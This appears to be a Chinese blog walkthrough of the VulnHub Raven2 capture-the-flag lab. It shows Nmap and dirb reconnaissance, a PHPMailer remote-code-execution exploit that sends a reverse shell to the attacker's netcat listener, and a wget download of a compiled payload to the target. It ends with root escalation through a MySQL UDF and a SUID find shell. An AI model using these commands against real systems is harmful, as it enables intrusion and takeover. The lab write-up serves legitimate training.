vulnhub-Raven2


0x01 靶场简介

Raven 2是中级boot2root VM, 有4个flag需要搜集,在多次被攻破后,Raven Security 采取了额外的措施来加固其Web服务器,以防止黑客入侵。您是否仍然可以攻破Raven?

靶场下载:https://download.vulnhub.com/raven/Raven2.ova

0x02 靶场渗透

1. flag1

使用Nmap探测靶机IP地址

nmap -sP 192.168.126.0/24

确定IP地址后,扫描开放的端口和服务

Nmap -p 1-65535 -T4 -A -v 192.168.126.15

得到开放的端口信息,80端口存在一个web服务

对网站信息收集,使用dirb进行目录扫描

dirb http://192.168.126.15/

该站点存在目录浏览漏洞

对目录文件进行排查,在vendor目录下的PATH文件里找到了第一个flag

2. flag2

接着在README.md里面看到了PHPMailer(一个功能齐全的PHP电子邮件创建和传输类)

在VERSION目录文件中得知PHPMailer版本号为5.2.16

PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用

在kali上利用searchsploit命令可以搜索到可利用的漏洞

将对应exp的py文件拷贝出来到当前目录下

cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./

先在攻击机kali(192.168.126.128)开启监听端口4444

nc -lvnp 4444

修改exp内容,主要修改受害目标地址以及需要接收反弹shell的地址,修改如下:

修改好后,执行脚本

python 40974.py

如果exp执行报错的话,就需要安装requests_toolbelt模块

pip install requests-toolbelt

如果提示编码报错,在exp第一行添加如下内容

# -*- coding: utf-8 -*

先访问 http://192.168.126.15/contact.php,就会生成后门文件 shell1.php,再访问 http://192.168.126.15/shell1.php,就成功反弹了一个shell到攻击机上

此时获取的shell并不是一个具有完整交互的shell,可以使用python提供的pty模块,创建一个原生的终端shell

python -c 'import pty; pty.spawn("/bin/bash")'

获取到完整的shell后,在目标主机上查找flag

cat查看flag2.txt内容

3. flag3

由于flag3.png是张图片,无法直接在命令行中查看。但是该图片在网站目录下,因此可以直接访问网站路径即可查看图片内容

4. flag4

进入wordpress文件夹里,发现其配置文件

查看wp-config.php的内容,发现了网站的mysql数据库wordpress,以及mysql的root密码R@v3nSecurity

利用获取到的账号密码,登录mysql

mysql -u root -pR@v3nSecurity

mysql的版本为5.5.6,可以使用UDF提权

在kali上使用 searchsploit mysql 命令找到利用exp

把该文件复制出来,在kali上进行编译生成so文件

cp /usr/share/exploitdb/exploits/linux/local/1518.c ./
gcc -g -c 1518.c
gcc -g -shared -o  raptor_udf.so 1518.o -lc

在kali上起一个web服务,将生成的so文件提供给靶机下载

python -m SimpleHTTPServer 8888

在受害靶机上切换到tmp目录下,wget下载编译好的so文件

cd /tmp
wget http://192.168.126.128:8888/raptor_udf.so

进入数据库创建数据表 foo,向表中插入二进制数据,然后利用dumpfile函数把文件导出, 再新建存储函数do_system类型是integer,别名(soname)文件名字

mysql -u root -pR@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';

通过do_system函数给find命令所有者的suid权限,使其可以执行root权限的命令

select do_system('chmod u+s /usr/bin/find');

touch finn
find finn -exec “bin/sh” \;

使用find执行 shell,最后找到第4个flag

find /root -name flag*


文章作者: LuckySec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LuckySec !
评论
  目录